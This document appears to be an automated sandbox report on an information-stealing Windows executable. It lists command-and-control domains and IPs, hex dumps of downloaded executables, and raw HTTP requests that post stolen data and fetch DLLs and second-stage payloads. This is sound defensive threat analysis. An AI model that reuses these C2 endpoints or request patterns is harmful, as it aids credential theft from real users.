Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\ Jump to behavior
Found inlined nop instructions (likely shell or obfuscated code)
Source: C:\Users\user\Desktop\1lKbb2hF7fYToopfpmEvlyRN.exe Code function: 4x nop then mov dword ptr [ebp-20h], 00000000h 0_2_0605D4C8
Source: C:\ProgramData\DBAAFIDGDA.exe Code function: 4x nop then mov dword ptr [ebp-20h], 00000000h 5_2_0614D4C8

Networking
barindex
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: indexterityszcoxp.shop
Source: Malware configuration extractor URLs: lariatedzugspd.shop
Source: Malware configuration extractor URLs: callosallsaospz.shop
Source: Malware configuration extractor URLs: callosallsaospz.shop
Source: Malware configuration extractor URLs: outpointsozp.shop
Source: Malware configuration extractor URLs: outpointsozp.shop
Source: Malware configuration extractor URLs: liernessfornicsa.shop
Source: Malware configuration extractor URLs: upknittsoappz.shop
Source: Malware configuration extractor URLs: shepherdlyopzc.shop
Source: Malware configuration extractor URLs: unseaffarignsk.shop
Source: Malware configuration extractor URLs: https://steamcommunity.com/profiles/76561199743486170
Source: Malware configuration extractor URLs: https://t.me/s41l0
Yara detected Generic Downloader
Source: Yara match File source: 5.0.DBAAFIDGDA.exe.9a0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 7.0.DGDBKFBAKF.exe.fd0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: C:\ProgramData\DGDBKFBAKF.exe, type: DROPPED
Source: Yara match File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\jen1hg[1].exe, type: DROPPED
Source: Yara match File source: C:\ProgramData\DBAAFIDGDA.exe, type: DROPPED
Source: Yara match File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\gfn1go[1].exe, type: DROPPED
Downloads executable code via HTTP
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 26 Jul 2024 16:56:38 GMTServer: ApacheLast-Modified: Wed, 24 Jul 2024 19:26:38 GMTETag: "4b3800-61e0341d0f4ad"Accept-Ranges: bytesContent-Length: 4929536Content-Type: application/octet-streamData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 ae 6d 9f 66 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 06 00 00 bc 48 00 00 78 02 00 00 00 00 00 1e da 48 00 00 20 00 00 00 e0 48 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 a0 4b 00 00 04 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 d0 d9 48 00 4b 00 00 00 00 00 49 00 ec 70 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4b 00 0c 00 00 00 82 d9 48 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 24 ba 48 00 00 20 00 00 00 bc 48 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 73 64 61 74 61 00 00 1e 02 00 00 00 e0 48 00 00 04 00 00 00 c0 48 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 ec 70 02 00 00 00 49 00 00 72 02 00 00 c4 48 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 80 4b 00 00 02 00 00 00 36 4b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 26 Jul 2024 16:56:46 GMTServer: ApacheLast-Modified: Wed, 24 Jul 2024 19:26:36 GMTETag: "4df7e8-61e0341b8d2e0"Accept-Ranges: bytesContent-Length: 5109736Content-Type: application/octet-streamData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 b3 6b 9f 66 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 06 00 00 80 4b 00 00 40 02 00 00 00 00 00 9e 9f 4b 00 00 20 00 00 00 a0 4b 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 20 4e 00 00 04 00 00 06 6f 4e 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 9f 4b 00 4b 00 00 00 00 c0 4b 00 8c 38 02 00 00 00 00 00 00 00 00 00 10 dd 4d 00 d8 1a 00 00 00 00 4e 00 0c 00 00 00 05 9f 4b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 a4 7f 4b 00 00 20 00 00 00 80 4b 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 73 64 61 74 61 00 00 1e 02 00 00 00 a0 4b 00 00 04 00 00 00 84 4b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 8c 38 02 00 00 c0 4b 00 00 3a 02 00 00 88 4b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 00 4e 00 00 02 00 00 00 c2 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /profiles/76561199747278259 HTTP/1.1Host: steamcommunity.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /s41l0 HTTP/1.1Host: t.meConnection: Keep-AliveCache-Control: no-cache
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 23.199.218.33 23.199.218.33
Source: Joe Sandbox View IP Address: 5.75.212.60 5.75.212.60
Source: Joe Sandbox View IP Address: 149.154.167.99 149.154.167.99
Source: Joe Sandbox View IP Address: 149.154.167.99 149.154.167.99
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: AKAMAI-ASUS AKAMAI-ASUS
Source: Joe Sandbox View ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: 51c64c77e60f3980eea90869b68c58a8
Source: Joe Sandbox View JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 5.75.212.60Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----CFHCGHJDBFIIDGDHIJDBUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 5.75.212.60Content-Length: 279Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----DGHDHIDGHIDGIECBKKJJUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 5.75.212.60Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----IIDHJDGCGDAAKEBGDBKFUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 5.75.212.60Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----GIJJKFCGDGHDHIECGCBKUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 5.75.212.60Content-Length: 332Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----CAAAAFBKFIECAAKECGCAUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 5.75.212.60Content-Length: 5605Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /sqls.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 5.75.212.60Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----JEGHDAFIDGDAAKEBFHDAUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 5.75.212.60Content-Length: 4677Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----GDAAKFIDGIEGDGDHIDAKUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 5.75.212.60Content-Length: 1529Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----IEGCBAAFHDHDHJKEGCFCUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 5.75.212.60Content-Length: 437Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----AEGDBAFHJJDAKEBGCFCBUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 5.75.212.60Content-Length: 437Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /freebl3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 5.75.212.60Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /mozglue.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 5.75.212.60Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /msvcp140.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 5.75.212.60Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /softokn3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 5.75.212.60Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /vcruntime140.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 5.75.212.60Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /nss3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 5.75.212.60Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----JJKEBGHJKFIDGCAAFCAFUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 5.75.212.60Content-Length: 1145Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----HIDAKFIJJKJJJKEBKJEHUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 5.75.212.60Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----ECFCBFBGDBKJKECAAKKFUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 5.75.212.60Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----HIDGCFBFBFBKEBGCAFCGUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 5.75.212.60Content-Length: 498Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----EGDGIIJJECFIDHJJKKFCUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 5.75.212.60Content-Length: 498Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: liernessfornicsa.shop
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----HCGCBFHCFCFBFIEBGHJEUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 5.75.212.60Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 42Host: liernessfornicsa.shop
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----CAEHDBAAECBFHJKFCFBFUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 5.75.212.60Content-Length: 457Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 18158Host: liernessfornicsa.shop
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8779Host: liernessfornicsa.shop
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----HCAAEBKEGHJKEBFHJDBFUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 5.75.212.60Content-Length: 130977Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20432Host: liernessfornicsa.shop
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1228Host: liernessfornicsa.shop
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----HJDBFBKKJDHJKECBGDAKUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 5.75.212.60Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 587838Host: liernessfornicsa.shop
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 77Host: liernessfornicsa.shop
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.0 Safari/537.36Host: 65.108.151.108Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----KKJKKJJKJEGIECAKJJEBUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.0 Safari/537.36Host: 65.108.151.108Content-Length: 279Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----DHCGHDHIDHCBGCBGCAEBUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.0 Safari/537.36Host: 65.108.151.108Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----DGCBAFIJDGHCAKECAEGCUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.0 Safari/537.36Host: 65.108.151.108Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----AECAKECAEGDHIECBGHIIUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.0 Safari/537.36Host: 65.108.151.108Content-Length: 332Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----CGIDAAAKJJDBGCBFCBGIUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.0 Safari/537.36Host: 65.108.151.108Content-Length: 5485Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /sqls.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.0 Safari/537.36Host: 65.108.151.108Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----FHCAEGCBFHJDGCBFHDAFUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.0 Safari/537.36Host: 65.108.151.108Content-Length: 4677Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /steals/jen1hg.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /steals/gfn1go.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: unknown TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.212.60
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.212.60
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.212.60
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.212.60
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.212.60
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.212.60
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.212.60
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.212.60
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.212.60
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.212.60
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.212.60
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.212.60
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.212.60
Source: unknown TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.212.60
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.212.60
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.212.60
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.212.60
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.212.60
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.212.60
